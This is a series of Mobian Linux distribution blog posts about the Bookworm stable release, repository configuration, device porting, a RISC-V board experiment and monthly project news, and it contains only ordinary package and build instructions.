With Bookworm, you can depend on your device (to the extent permitted by the stability of the included software) without having to fear that an upgrade might alter its behavior in a negative way.

This approach has one downside, though: version numbers for Bookworm packages will be mostly frozen (except for aforementioned targeted updates) and you will not receive any update bringing new functionality to your applications.

New features will only be arriving in the testing repositories of both Debian and Mobian, as they convey the risk of introducing major bugs, and as such should be reserved to users with sufficient knowledge of their system’s internals and the ability to manually repair things that can (and will!) break over time.

So in the end, you have to pick your poison: stick with a dependable device with only targeted updates, or live fast on the edge of the new Debian testing (which will become Trixie) and ~~die young~~ accept the fact that updates can occasionally break your system pretty badly. We will not be making that decision for you.

How to stick to stable Mobian?

Unless you previously enabled the staging repo, chances are you already track Mobian Bookworm and don’t need to do anything. You should ensure /etc/apt/sources.list contains the following lines:

deb http://deb.debian.org/debian bookworm main non-free-firmware
deb http://security.debian.org/ bookworm-security main non-free-firmware

Notes:

if your sources.list is lacking non-free-firmware but your device works as expected, you don’t need to add this component
if the entries contain non-free, please change those to non-free-firmware unless you actually want to install non-free packages other than firmware (in which case you probably should append non-free-firmware anyway)

Similarly, the /etc/apt/sources.list.d/mobian.list file should have the following contents:

deb http://repo.mobian.org/ bookworm main non-free-firmware

Notes:

non-free should be replaced with non-free-firmware in this file as well; both components are identical for now, but we plan to drop non-free during the Trixie development cycle, so switching early will ensure your system is ready for future major upgrades
if you don’t have a mobian.list file under /etc/apt/sources.list.d/ but extrepo_mobian.sources instead, ensure the Suites: line’s value is bookworm and Components: contain main and (optionally) non-free-firmware; alternatively, you can delete extrepo_mobian.sources and create mobian.list with the expected contents

We did our best to keep a clean upgrade path even for old Mobian installs. However, there’s no way we can address every possible (corner) case, and we expect some users (especially those with really old installs) will run into issues we didn’t foresee while upgrading to bookworm. Therefore, we strongly recommend that you start from a clean system by flashing the Bookworm image corresponding to your device (backing up and restoring all your important files in the process, of course). This will ensure you get rid of leftover obsolete tweaks and benefit from all the improvements we made over time.

What about bugfix and security updates?

You will notice that the Mobian repository has grown a new entry: bookworm-updates. This is intended to be the repository where all our stable updates land, including security fixes. The latter will however quickly migrate to the main bookworm repo (from a few hours to a few days, depending on the criticity of the vulnerability and potential side-effects of the proposed fix). “Normal” (i.e. bugfix-only) updates will migrate to bookworm for each new point release of Debian Bookworm.

We welcome users willing to test those updates (and report any regression they might cause) before they migrate, as this would help us maintain the stability of the overall distribution; those users should therefore add the following line to their mobian.list file:

deb http://repo.mobian.org/ bookworm-updates main non-free-firmware

Please be aware that doing so will expose you to issues/regressions caused by updated packages, though the risk will be far less important than users opting for the development repositories.

How to track the “new” testing (Trixie)?

If you have chosen the Red Pill, you should first ensure both your sources.list and mobian.list files are configured appropriately (see above section) and MUST be 100% sure your system is fully up-to-date (ideally from a freshly flashed Bookworm image).

You can then execute the following steps:

drop the bookworm-security line from sources.list and replace bookworm with trixie in the remaining line
replace bookworm with trixie in mobian.list (drop the bookworm-updates line if you previously added it)

Important: Be aware that in the weeks following a Debian stable release there is a huge influx of updated packages and big transitions to new versions, clearing the backlog that has been building up during the freeze period. We would advise people to not immediately switch over to the new Trixie/testing distribution. Wait for a few weeks/months until things have calmed down and switch over then, unless you want to live through every breakage that might ensue post-release.

Where are the downloads and installers for Mobian Bookworm?

As usual, images can be found here. Just select your device (family) and download the image.

For the PinePhone and the PinePhonePro installer images are available in addition to the regular live images.

Instructions for verifying and flashing the image can be found below.

Are there installation instructions?

Instructions verified to be working by a Mobian/Debian Developer can be found in the Debian wiki:

For other devices (or ones which haven’t been blessed by a Mobian/Debian Developer) please see the community wiki.

A peak behind the curtain

We (and the larger community) have been very busy in the last two years and we’re excited to ship (and maintain going forward) our first stable image!

Here are some of the highlights of this release:

Solid support for MMS, visual voicemail and other bits and pieces (thanks kop316!)
Kernel CI machinery which eases rebasing patches needed for our supported devices (thanks a-wai and undef!)
droid-juicer for extracting firmware from Android devices (thanks a-wai!)
GNOME core application all adaptive (modulo the cases where they aren’t) (thanks GNOME!)
phosh and related components have seen all sorts of improvements (thanks agx!)
More mature SIP support in Calls (thanks devrtz!)
sxmo/swmo made it into Debian (thanks jochensp!)
Plasma Mobile core packages also made it into Debian, although very few applications are available for now (thanks Marco!)
phog (the PHOne Greeter) can be used to switch the “desktop” environment on login (thanks a-wai!)

Of course there have been a lot more added features, fixed bugs and other improvements which are way too numerous to list. Have a look here for more details on what changed in Debian.

If you want to know more nitty gritty details how we prepared for bookworm, check out our Bookworm release TODO/checklist, as well as the activity on the Mobian and DebianOnMobile teams on Salsa.

The non-free-firmware repository

Sat, 11 Mar 2023 12:00:00 +0000

PinePhone and PinePhonePro Owners (and others), please change your config

PinePhonePro users might get nagging messages about packages being held back right now…

TL;DR: Please add the non-free-firmware section to the Debian repository line in /etc/apt/sources.list.

Introducing the non-free-firmware section

UPDATE: slightly reworded first paragraph.

Piggybacking on Debian is great, but it also means we need to track changes that occur in Debian.

The Debian project has decided to include non-free-firmware in their installer images for hardware enablement reasons and a better out of the box user experience. Therefore firmware file have been moved out of the non-free section and into the new non-free-firmware section in the debian repository.

Why does this matter to Mobian users? The Wifi firmware for the PinePhone and PinePhonePro has migrated to the upstream Debian repository and the firmware-realtek-rtl8723cs-bt (PinePhone) and firmware-brcm80211 (PinePhone Pro) packages are now in the new non-free-firmware section. This means at least PinePhonePro users need to add that section now, but it does not hurt for other devices too and we recommend everyone to make this change.

So mobian users, head over to the file /etc/apt/sources.list and edit the line starting with deb http://deb.debian.org. It should end with (some of) the sections main non-free. Just change non-free to non-free-firmware, or add non-free-firmware (delimited by a space) at the end of that line if you still want access to non-free software which are not only firmware packages.

Finally, apt update && apt upgrade and you should be on the latest firmware on the upstream Debian repository.

If you’ve lost network access on your PinePhone Pro, you can download the package manually using the above link (or apt download firmware-brcm80211 on another Debian Bookworm machine), transfer the file to your phone over USB and install it manually with dpkg -i firmware-brcm80211_20230210-2_all.deb.

These months in Mobian: February/March 2023

Fri, 10 Mar 2023 00:00:00 +0000

March isn’t even over yet and we are already summing up what has happened in both February and March. Dang, are we fast…

FOSDEM

February 2023 began with a bang: finally a physical FOSDEM conference in Brussels, and a few (or rather, plenty of) mobile Linux people organized a physical devroom on “FOSS on mobile Linux”. Many submissions on various topics, from many distros and projects, of which 10 were selected.

(Photo by spaetz under CC-0)

Directly relevant were talks on “What’s new in the world of phosh?” and “Mobian: to stable… and beyond!”. But also others, such as the talk on ondev2, a new cross-distro installer, which Mobian will potentially use. Many other interesting talks on convergence, so if you have not already, check out the whole track.

Another highlight was the cross-distro stand with an unusual high density of Linux phones being put on a single table, and a dense crowd of people being interested in Mobile on Linux. Some were well-know names and faces, that are already familiar with the state of things, while others were surprised that Linux on Mobile “is a thing”.

Most importantly though, it was one of those rare moments in life to physically meet your collaborators. And while we did not manage to do a live-podcast as the postmarketOS contributors did, we did have beer, dinner, talks, and fun together. Sometimes, these are the most important times in a collaboration!

And yes, we will try to have Mobian stickers next time around! :-)

Website

Our Website does not contain a lot of content, but previously it still used some Javascript in order to provide a flying-in animation (and possibly other things). Thanks to community member Sven J. Grewe, we have now done away with the Javascript entirely (still keeping the animation) and our root page now consists of 1 html, 1 css and 7 icons/images, loading pretty fast. Thank you Sven, contributions are always welcome!

Debian Bookworm

Debian has started its soft freeze towards the Bookworm release. This implies: no new packages, and existing ones have a longer transitioning time from unstable into Bookworm. In a few days, the hard freeze will occur. This will also stop the inflow of new versions, in order to settle on a stable basis for Bookworm. What does this mean for Mobian? We won’t benefit from new releases and versions of upstream projects anymore (which is bad) but we will be able to start focusing on getting what we already have into a good shape. The Pinephones currently run on kernel 6.1, providing a decent and current release. As announced in a-wai’s talk, there will be a stable bookworm-based mobian, and some time after the bookworm release, we will start tracking the next testing release (Trixie) in addition to the stable branch.

There are a few glitches that still need to be fixed before a possible release, for instance, mesa 22.3.6 contains an important bug fix, preventing some applications from crashing, that we hope will make the transition into bookworm soonish.

We are aware that bluetooth has gotten a bit more unreliable in the past few weeks, but we are not exactly sure why yet. It is not just regressions because we (or rather Debian) switched from pulseaudio to pipewire. Unfortunately debugging Bluetooth is not easy.

Overall, we are pretty happy with the current state of things and confident that Bookworm will be the first Debian distribution that can provide a good stable base for a mobile device.

Plasma beams on full strength!

We are very happy that it was possible to squeeze in Plasma mobile into the Debian repository right before the freeze. Nobody can accuse us of being a single window manager distro. Phosh, SXMO and Plasma are all available at your choice. Beam me up, Scotty!

Porting Mobian to New Devices

Tue, 07 Mar 2023 00:00:00 +0000

As Mobian (and Mobile Linux in general) has gotten more popular, many folks have started to ask if Mobian supports their particular phone. While we wish we lived in a world where installing Mobian to a new phone model was just as easy as installing Debian to a new laptop, things are (unfortunately) much more complicated than that.

But my phone runs Android, and Android runs on Linux!

It is true that Android is Linux-based, but Android Linux diverged from Mobile Linux a long time ago. Android Linux images are simply incompatible with Mobile Linux, unless several compatibilty layers are installed.

In addition, the Android kernel shipped by manufacturers are based on LTS kernels, and consist of millions of lines of out of tree code. Much of this code cannot be upstreamed due to code quality, and sometimes the code is of dubious legal origin. The kernel that the phone is based off of is often ancient. In some cases, current devices might ship a version of Linux 3.19 which was released in 2015 and no longer gets updates from upstream.

This poses two problems for us: 1) they are full of security flaws and 2) their API is oldish and different from what current Mobile Linux environments need (both because it is old API and because it provides Android-specific API). One would be stuck with a ancient and unmaintainable kernel that one could not improve and a kernel that provides an incompatible interface to Mobile Linux.

Some distributions make that tradeoff and use these compatibility layers to bridge the interface between Android kernels and Mobile Linux. One such is libhybris. They basically choose to live with a kernel that one cannot modify and improve in a significant manner. In addition, many kernels are device specific¹, which in turn creates a higher maintenance burden for every phone added. Adding the compatibility layer does provide an advantage in that the distribution can port to many more phones much quicker.

Mobian’s ultimate goal is to erase the differences between Mobian and Debian. As such, we do not wish to use compatibilty layers to get more phones working. We would prefer to use a compatible kernel. As a consequence, we tend to work on devices that align with our goals, or devices that have already have good mainline support. However, even with this support, many devices lack mainline drivers to give a good out of the box experience. Many of these phones cannot even boot a mainline kernel, much less provide any usefulness to an end user.

So how can I tell if my phone can even run Mobile Linux?

Our friends at postmarketOS have a great wiki on devices that are supported and what features on those phones are supported. If your device is not on this list, then most likely no one has even tried to figure out if it can run on Mobile Linux (or porting it over is impossible).

Ok, I want to port Mobian to my phone!

Great! We are happy to guide on how to do this. However, please understand this is not a task that will be fast. The PinePhone and PinePhone Pro have a vibrant community working to bring Mobile Linux to their phones, and even after years of work, it is incomplete.

If you wish to port over a new device with Mobian, please come chat with us here and we can assist you. Please understand that should you choose to do this, we are asking you to keep maintaining it.

Can I give you my phone and then work on it?

Mobian’s development team are mainly volunteers, and quite simply do not have the time to port new devices. If you wish for your phone to run Mobian, the best option is to start working on the porting process yourself.

So what is my best option to run Mobile Linux?

If you want to use your current phone, some distributions, such as Ubuntu Touch and Droidian, have a compatibility layer to work with Android Linux kernels, which can be an option to get into things but brings in the downsides of outdated Android kernels as explained above.

Your best option however is to purchase a phone that has good Mobile Linux support. Please support device manufacturers that try to upstream their devices to mainline Linux! Though Purism’s Librem 5 is expensive, they actively put in work to upstream their phone to mainline Linux (and greatly contribute to Mobile Linux). The Pine64 Pinephone and Pinephone Pro has great community support to bring Mobile Linux to their devices.

The community has also put in a lot of effort to mainline some phones, so buying one of those phones is also a good option. See here for a list of supported phones.

Final words

While we would really enjoy living in a world where installing Mobian on a phone is as easy as installing Debian on a Desktop/Laptop, the reality is that many phone manufacturers do not make any attempts to help with this goal. Porting a new device to Mobile Linux takes a lot of time and effort, even with the support of a large community.

Author’s note: A big thank you to the postmarketOS folks for helping out with this post!

Sometimes the kernel can be SoC and Vendor specific. For example, there’s a generic downstream sdm845 LG kernel, but there’s no generic downstream LG kernel or generic sdm845 kernel. ↩︎

Off-topic: The importance of efficient tooling

Wed, 25 Jan 2023 00:00:00 +0000

You’re probably aware of the existence and hopes tied to the rise of the RISC-V architecture, which means we should prepare for future (yet hypothetical) RISC-V Linux-based mobile devices.

The first step in this journey being the ability to build binary packages for this architecture, we purchased a StarFive VisionFive v2 SBC with the goal to turn it into a (Debian-powered, of course!) GitLab CI runner. And that’s exactly where the tools developed to build Mobian came in really handy!

Debian on RISC-V

64-bits RISC-V (or riscv64 in Debian terms) is not an architecture officially supported by upstream Debian. However, the vast majority of packages are built and available to riscv64 devices thanks to the Debian Ports initiative.

As an unofficial port, the riscv64 packages live in a separate archive, providing only the unstable and experimental suites. Those details aside, all the usual Debian tools work in the exact same way they do on other architectures.

With this in mind, why not use the tools we’ve been developing for Mobian and create an “almost-pure” Debian image for the VisionFive v2?

The board

The VisionFive 2 is a RISC-V SBC based on StarFive’s JH7110 SoC. This chip includes 4x SiFive U74 cores, Gigabit Ethernet, PCIe and many other interfaces.

The board itself includes a choice of 2, 4 or 8GB RAM, a now-standard 40-pin GPIO header, a microSD card slot, an eMMC socket as well as an M.2 slot for an NVMe SSD, and of course several USB ports and 2 Gigabit Ethernet ports.

OK, but… can it run Debian?

In order to run any kind of Linux system (including a Debian-based one), we need the following elements:

a bootloader
a kernel which includes support for this specific device
a root filesystem containing userspace software, compiled for the device’s CPU architecture

Das U-boot Abenteuer

The first item is already present on the board, in the form of a SPI NOR flash chip, factory-flashed with u-boot. However, the one present on our (early bird) board lacked support for standard “distroboot”, therefore we had to build a more recent version from StarFive’s u-boot repository and flash it using the documented recovery procedure.

It required backporting an upstream patch to be able to build using the compiler and binutils from current Debian testing. However, for some reason using the latest commit (at the time) of the JH7110_VisionFive2_devel branch led to a non-functional binary, unable to detect the RAM size of our board. One more patch later, we could however get a working bootloader!

It wasn’t capable of using the “distroboot” due to wrong and/or missing environment variables, which were later added. Feel free to refer to our patched source tree, or simply download the binary files from our artifacts branch.

A working kernel

Similar to u-boot, StarFive provides a kernel repository, including all needed patches to get it running on the VisionFive 2 board… and just like u-boot, it doesn’t build from a current Debian testing…

This is easily solved by, once again, backporting an upstream patch. Once built with the usual make bindeb-pkg command (and, of course, the proper values for the ARCH and CROSS_COMPILE env vars), we get a .deb containing the kernel and its modules, which boots just fine. However, the default kernel config is somewhat limited and doesn’t allow us to run docker (remember, we want to make this board a GitLab CI runner!). With some additional tweaking, we finally get to a point where this kernel is fully usable for our purpose.

Our patched kernel is of course also available on GitLab.

Tying it all together

Putting the architecture differences aside, this device is quite similar to the PinePhone Pro from a low-level perspective: the bootloader is directly flashed to the board’s SPI flash, and we need to create a bootable image to be written on a microSD card.

We already know how to do this on the PPP, so why not re-use this knowledge for the VisionFive 2? Not wanting to mess with Mobian’s “production” codebase, we imported this repo to gitlab.com and made the necessary changes there. As you’ll notice from the single commit needed to generate the VisionFive 2 image, the changes are very minimal, demonstrating the flexibility and power of the tools we’ve been developing over the past 3 (!) years.

Let’s walk through those changes:

the build.sh script is modified to support a new riscv64 device (it could/should probably have been named vf2, but remember this is only a quick and dirty experiment), using the riscv64 architecture and fetching its device-specific recipes from devices/riscv64
the devices/riscv64 is mostly a copy from devices/rockchip with only a few small adjustments:
- as the kernel package is locally-built and not available from the Mobian repository, it is copied under a subfolder and imported to the rootfs using the overlay action, then manually installed using a run action
- no package is installed for phosh as we want to create a minimal system.
the global packages-base.yaml sub-recipe is modified to always include openssh-server, which is pretty much a requirement for a headless system.
the most important changes lie in the rootfs.yaml recipe:
- use the debian-ports archive when building for the riscv64 architecture; as this archive uses different GPG keys than the main Debian archive, we use the relevant key file from the host system (this requires first installing the debian-ports-archive-keyring package on the host system).
- as debootstrap won’t install it, we install the debian-ports-archive-keyring package to the rootfs so it can be updated over time.
- we drop the packages-$environment sub-recipe (minimal system, remember?)

With those changes, building the image is as simple as running ./build.sh -t riscv64. It can then be flashed to a microSD and should bring you a fully functional Debian/Mobian system on your VisionFive 2 :)

Note: we could have easily made it a “pure” Debian image, however we carry a patched version of u-boot-menu which simplifies the image generation process a lot.

Final words

This process can probably easily be replicated for PINE64’s Star64 once it becomes available, as both boards use the same SoC. Likewise, this experiment can and will be re-used as the first step towards proper riscv64 support in Mobian, hopefully in a not-so-distant future ;)

We hope this article will also highlight how building and/or using flexible and powerful tools can greatly help expanding a project’s features set, and can even be used for only remotely-related tasks. It also shows how “easy” it can be to create Debian-based images for embedded systems (as opposed to, for example, having to re-compile the whole world twice using Yocto ;) ).

Finally, we want to point out how such things can only happen in the FLOSS world:

being able to build each package from source is what makes the Debian ports initiative possible at all
the vendor publishing the source code to the bootloader and kernel allowed us to build those with the needed options to fulfill our needs
anyone (with decent knowledge of Linux systems internals) can build their own image easily, adding or removing packages and tweaks as they see fit, rather than being stuck with a generic (and probably bloated) third-party image.

A look back in the mirror... And a glimpse of the future!

Sun, 08 Jan 2023 00:00:00 +0000

2022 has been an extremely busy year for Mobian developers, and a lot has happened throughout this period. As we’re entering a new ~~development cycle~~ year, now is a good time to look back at what we achieved in 2022.

Foundation work

One of our goals has always been for Mobian to slowly dissolve into Debian. As such, we aim at moving packages from the downstream Mobian archive into the upstream Debian repositories.

Summer migration

As a consequence, we decided to move all the source code used in Mobian from gitlab.com to Salsa, Debian’s own GitLab instance, during last summer. With the exception of non-free firmware blobs of unclear origins, Mobian is now fully maintained within Salsa’s Mobian-team group. It should be noted that, thanks to GitLab’s export/import features, this important migration has been mostly painless!

Feeding the Debian package servers

We also welcomed the contributions of Debian developers who helped us both for improving Mobian and for moving our downstream packages to Debian upstream. Together, we were able to push a great number of new packages to the Debian archive, including (but not limited to):

This past year also saw us upload calamares-settings-mobian and plymouth-theme-mobian to Debian, making those the first Mobian-specific packages to make it into the Debian archive!

Less downstream tweaks

Over the past year, one of our main areas of work was getting rid of as much custom scripts and tweaks as possible, and rely on existing upstream solutions instead.

A good example of such improvements if the switch to systemd services for growing the root filesystem on initial boot: while previously relying on cloud-initramfs-tools and a downstream initramfs script, we now hand this task over to systemd-repart and systemd-growfs.

We also got rid of device-specific kernel cmdline parameters, as we can now rely on the device tree for providing this information, such as the default serial console; similarly, by working with upstream to automatically compute display scaling in phoc, we could drop our downstream, per-device phoc.ini files.

Overall, those changes allowed us to get rid of most of our per-device tweaks, up to the point where now we barely need any. This not only makes it easier to envision out-of-the-box Debian support for the devices we currently work on, but will also make new device bring-up incredibly easier!

Being good FLOSS citizens

Over the past year, Mobian developers have also tried to fix issues and add features upstream rather than carrying patched packages. Notable upstream projects we contributed to in 2022 include, among others:

We also keep maintaining software that are an important part of the mobile Linux ecosystem, such as eg25-manager and callaudiod. Lately, we published 2 additional projects, not only because we felt those were needed for Mobian, but also because they might be useful to other distros and users.

Those projects are droid-juicer (more on this one below) and phog, which is a GUI login/session startup application aimed specifically at mobile devices (you can think of it as “GDM for phones”). It relies on greetd for performing the actual session startup, so phog doesn’t interact with pam nor systemd directly.

Bringing a graphical login manager to mobile devices allows our users to have multiple user accounts instead of the single (and so-far hardcoded) mobian user. They can also use phog to select which graphical environment they want to start, so they could very well setup one user for work running Phosh, and another user for their everyday life running SXMO, for example. Finally, phog ensures the GNOME keyring is unlocked when the session is started so we can get rid of the annoying “keyring password” dialogs on session startup :)

Not quite there yet

Unfortunately, time is not extensible: as volunteers we can’t spend as much time working on Mobian as we’d like, meaning we sometimes have to prioritize things, and delay some of the work we had hoped to achieve.

This is exactly what happened with the universal images that we hoped to implement in 2022, so they could be ready, tested and debugged come 2023, and finally be made our new default during the 1st quarter of this year.

To this effect, we started working on fundational pieces of software, starting with tweakster, a utility to manage device-specific config at runtime. It, in turn, gave birth to droid-juicer, a tool designed to extract proprietary firmware from vendor partitions on Android devices: that way, we wouldn’t have to package non-free firmware for those devices anymore, which increases our workload while decreasing the chances of getting such devices properly supported by vanilla Debian.

The good point is that the initial release of droid-juicer has been uploaded to Debian before the year ended; the less-good point is that tweakster and consequently universal images have been delayed by this work and therefore will have to wait for the Trixie development cycle. However, we might have a few more tricks up our sleeves to make at least some of it happen earlier ;)

Community vitality

Finally, 2022 showed once again the mobile Linux community vitality through numerous events and collaborations. In particular, FOSDEM 2022 was the first edition including a “FOSS on Mobile Devices” devroom, which ended up being incredibly successful.

It went so well, actually, that this year’s (in-person) FOSDEM will feature both the devroom and a “Linux on Mobile” stand where you’ll be able to discuss with members of several projects, including Mobian, postmarketOS, UBPorts, Sailfish OS and more!

We also agreed with other mobile distros to switch to Tow-Boot for supported devices, eventually leading PINE64 to ship the PinePhone Pro with this booloader factory-flashed. We expect such cross-distro collaboration to keep covering more areas over time and we trust this, along with the great relationship we have with developers from postmarketOS and Purism, will lead to even more spectacular improvements to the ecosystem we’re shaping up together.

We’re also seeing two important trends both in the market and community, starting with new manufacturers joining the dance:

Juno Computers released an Intel-based Linux tablet shipping with either Mobian or Manjaro as the default OS
FydeOS announced its FydeTab Duo, a 12" tablet based on the Rockchip RK3588 flagship SoC; although it comes with FydeOS, a ChromiumOS derivative, the tech specs page mentions optional compatibility “with other open-source operating systems, including popular Linux distributions”

Another trend is the fact the PinePhone Pro is being adopted widely as a development platform for showcasing various projects, as can be seen from CodeThink’s recent work on a mobile version of GNOME OS.

Both those trends attract more users and developers to our platform(s), improving the likelihood that someone (who might just be you!) will work on solving your particular problem in a way that will benefit the whole community.

Our plans for 2023

With the Bookworm freeze process starting in just a few days, this year will be very special regarding the way we work on Mobian: uploads to Debian will likely slow down starting Feb 12th (soft freeze) and come to a near-halt 1 month later (hard freeze). This implies we will then be only able to focus on Mobian-specific packages until Bookworm is finally released.

Keep moving while frozen

Fortunately (or not?), there are always a lot of non-packaging tasks pending, so we have at least some idea how we’re going to spend our time: not working on Mobian/Debian packages means we have then more time to hunt down bugs and improve the overall system stability.

This will also be a good opportunity to finally get to the upstream contributions we’ve been holding back for quite some time. This includes, for example, getting Tow-boot to support the PineTab and Librem 5 (no promise though), or pushing more of our kernel patches upstream.

We’ll also have more time to work on new hardware support, the PineTab 2 and FairPhone 4 being good candidates for official Mobian support.

Mobian Stable

With the release of Bookworm in 2023 the first Mobian stable release will finally happen! This version will follow the same release cycle as Debian, providing only bugfix and security updates. Most of those will come directly through Debian, including for Mobian-specific packages we still hope to get accepted before the soft freeze begins, miniramfs being the most important of those.

We’ll still need to carry downstream packages though, and will do our best to provide timely security updates and bugfixes for those. To this effect, we settled to ship Linux 6.1 on all our devices as it should be the next LTS kernel, and are committing to keeping it as up-to-date as possible.

The day(s) after

Once Bookworm is released, we’ll switch our testing and staging repos to track Debian Trixie and will keep bringing you up-to-date software during the whole Trixie development cycle.

Now that we have SXMO available in Debian, and good progress is being made towards packaging Plasma Mobile, we also hope the Trixie development cycle will give us the opportunity to provide our users with more graphical environment options. We’ll also closely track the work of the Debian UBPorts team with the hope that we can ultimately provide Lomiri-based images at some point.

Finally, we’ll keep working towards making universal images happen, while still looking at and packaging mobile-friendly software, such as Organic Maps among others.

What we’d love to see happening in 2023

As mentioned earlier, a lot is constantly happening throughout the whole ecosystem, which in itself is very positive. However, we’ve noticed some encouraging activity in recent months which fills us with hope for this new year.

After the initial submission, the PinePhone Pro is getting better and better upstream support as time goes by. As several different developers have contributed over these past few months, we hope this trend will carry on, and maybe even join forces so we can finally have a device fully supported by the mainline kernel.

The other area triggering our interest is all the work currently happening in libcamera: developers from this project envision mobile Linux devices as a perfect showcase for libcamera, and therefore do their best in order to ease contributions, fix camera sensor drivers for better libcamera support, and more generally improve the camera situation on Linux. We can’t wait to see where we’ll be standing a year from now, and are confident new applications and better support for our devices isn’t too far now!

Final word

We hope you’re as excited as we are about the current state and foreseeable evolutions of the mobile Linux ecosystem, and wish you all a happy year 2023!

These... past 4 months in Mobian: July - October 2022

Tue, 01 Nov 2022 00:00:00 +0000

As ~~we’re reaching the end of the month~~ we slightly overshot the month, it’s time to look back at what happened since July.

Monthly dev meeting

Highlights:

puremaps packaging is progressing. Some of the dependencies are now in Debian unstable, clearing the way for the main package.
The image resizing bug has been solved by switching to systemd-repart and systemd-growfs. @undef was instrumental in this switch by contributing several fixes upstream to make things work smoothly.
Currently working on the best way to support config fragments in u-boot-menu (#1012333) to support encrypted PinePhone Pro installs and PinePhones with the VCCQ mod.

Everyone loves salsa!

We completed the move to Salsa, though there were a few issues along the way:

kernels couldn’t be built through CI due to limits in artifacts size, forcing us to create a simpler, different pipeline for those packages
the issue tracker remained on gitlab.com for a while, until we decided on the best way to handle this migration

These problems have now been solved, meaning all packages are now maintained and built on Salsa. We also decided to get rid of the single issue tracker and instead ask users to open issues in the corresponding repo/project.

Finally, we won’t be migrating issues from gitlab.com as they would then lose all authorship information. We therefore ask users who had previously opened issues on gitlab.com to create new issues on Salsa, notifying them by leaving a comment on existing issues explaining the way forward (example).

Kernel status

Due to a desire to ship a kernel with a working camera the 5.18 release cycle was skipped for most devices. 5.19 on the other hand has been released shortly after upstream, and most device families can now even use 6.0-based kernels, although this is not the default yet.

Those more recent kernels contains a number of improvements including:

Working camera on the PinePhone Pro (using a script like https://salsa.debian.org/-/snippets/611, no Megapixels support yet)
Improved USB-C handling (should now charge and support docks/DP alt mode better) on the PinePhone Pro as well
The (temporary) death of the PinePhone Pro smurfbug
Better audio support on SDM845-based devices

As is the eternal fun of maintaining downstream patches, the update to Linux 6.0 has killed the main camera on the PinePhone Pro. We hope to work out this bug and get it back to working state shortly.

Updates and new packages in Debian

qrtr, a set of userspace utilities needed for Qualcomm-based phones has reached Debian, as well as a number of other packages:

The firmware for the RTL8723CS (Wi-Fi/BT chip used on the OG PinePhone and PineTab) has also been uploaded to Debian, although not by a member of the Mobian team. That obviously won’t prevent us from using this package and dropping our own packaging and getting another step closer to Debian \o/.

phog is a new greeter designed for GTK based phones and Phosh, relying on greetd to perform the actual authentication and session startup. This allows Phosh (or any other graphical environment) to be started in very much the same way a “classical” desktop environment would start on any distribution, allows one to use multiple user accounts (or even delete the mobian user and create another one) and automatically unlocks the user’s keyring on Phosh & GNOME.

SXMO

The packages required for using SXMO on Mobian have been created and uploaded to Debian. See the Readme.Debian file for installation instructions. This brings a second Mobile UI to Debian, with Plasma Mobile and Lomiri also well on the way.

DebConf 22

This year’s DebConf22 in Kosovo was a blast! There has been both upstream development done in and/or inspired by the trip:

Some notable mentions include Showing tickets on the lockscreen, automatically switching to high contrast based on ambient light sensor in phosh, UX improvements in confy significantly faster startup and being able to initiate sending a SMS from the history popover in gnome-calls and probably more.

On the packaging front there have been a few uploads and the closing of the occasional bug :) We’re also excited that we got closer to having parts of the sxmo world during this thime! For information about individual packages updates have a look at the list above and as usual on the mailing list mentioned at the end of this blog post.

Honorary mention of this must-see talk (you’ve probably seen it by now) by agx about the current state of Debian on smartphones!

Finally we want to give a shout out to all of the nice people from the community we had the pleasure to meet during DebCamp and DebConf, we had a very good time and of course also thanks to everyone who made this event possible <3

Special mention to everyone working on the mobile sprint and to everyone who expressed interest in having Debian mobile devices and chatted with us about it over a Rakija. Gëzuar!

The GNOME 43 transition is over, the PipeWire transition begins

As you may have noticed, this summer has been sometimes a bit bumpy regarding packages/upgrades availability and the overall stability of Mobian. This was in large part due to the ongoing Debian transition to GNOME 43, involving a number of breaking changes. Thanks to the work of the Debian GNOME team this transition was completed during the month of September and things have returned to normal for a few weeks.

Similarly, as we all aim for bookworm to be a high-quality Debian release, it felt best for our users if Debian switched to using PipeWire (and WirePlumber) as our default sound/multimedia server (fully replacing PulseAudio) before the bookworm freeze expected to start next January. This is definitely a change for the better and one that should improve a lot of things over time, including for mobile users (call audio, BlueTooth audio and camera handling being just a few areas where we can expect such improvements).

However, the move to PipeWire, while being mostly painless, can cause several issues and possibly disrupt call audio handling. We have no intent to switch back to PulseAudio (it served us well for a time, but we have to look forward!) and will instead work towards solving the current issues with PipeWire. Therefore, we ask for your patience (and help if you feel like it) until the transition to PipeWire is complete.

Upgrades

As always, we do our best to keep up with upstream releases and have updated a number of Debian packages over the past few months, including (but not limited to):

chatty, now with Matrix support!
gnome-calls
megapixels
phoc
phosh
squeekboard
tootle could finally migrate to testing after fixing release-critical bugs

A full list on mobile-related uploads to Debian can be found in the corresponding mailing list archive.

A note on Monthly posts

While we strive to get these blog posts out monthly, we are a small group of volunteers. We will always prioritize getting updates and bugfixes to you over these posts, so please don’t take a few weeks/months of inactivity here as a sign of inactivity in Mobian itself.

This month in Mobian: June 2022

Thu, 30 Jun 2022 15:00:00 +0000

The end is near! The end of June at least, and that means it is time for our monthly recap of what has happened.

Monthly dev meeting

Many mobian devs came together on the first Saturday of June. Topics of the meeting included:

moving repositories to salsa: everything from mobian/packages, around 60 repos in total; planning continues, security considerations (access to ssh/signing keys etc needs to be considered); we still need to decide on a switch-over date.
Matrix room upgrade: We need to upgrade our #mobian room to a newer version, as the old one is not compatible with the latest matrix servers anymore. The only problem are the bridges to our other channels. spaetz takes care of the IRC bridge, nobody knows who the telegram bridge admin is, it should not be a blocker though. Update: of course the update did not go as well as planned, and people had to migrate manually to the new room. Eventually we got everyone over though.
We might replace gedit with gnome-text-editor, it is more enjoyable. And it would allow us to drop our custom gedit package. Update: This has now happened.

Calamares

Calamares is the installer that we use to install Mobian. It was finally updated in Debian proper (thanks!), and as a result we were able to drop our Mobian-specific package. In Mobian remaining: calamares-extensions 1.2.1-1 and calamares-settings-mobian 0.2.3

Mobian, now with even more DDs!

No, DD is not shorthand for Donald Duck, it stands for “Debian Developer” which is a formal status, requiring sponsors and a (usually) lengthy process. We have quite a few DDs in our own (informal) ranks, but Mobian’s founder @a-wai has now also become one. Congrats Arnaud, and way to go!

gnome-text-exitor, now more mobile friendly

We have added patches to make gnome-text-editor more mobile friendly, by wrapping labels on narrow screens in the top bar. Patches have been sent to upstream too.

PinePhone Keyboard

The PinePhone keyboard driver in the 5.15-sunxi64 kernel has been fixed, allowing both the keyboard and battery levels to work again thanks to testing by Johns in #Mobian who provided logs and validated the fix pre-release. You may notice that the function keys no longer work the way they used to. A configuration which fixes this permanently can be found on the Mobian wiki.

PGP Key Expiry

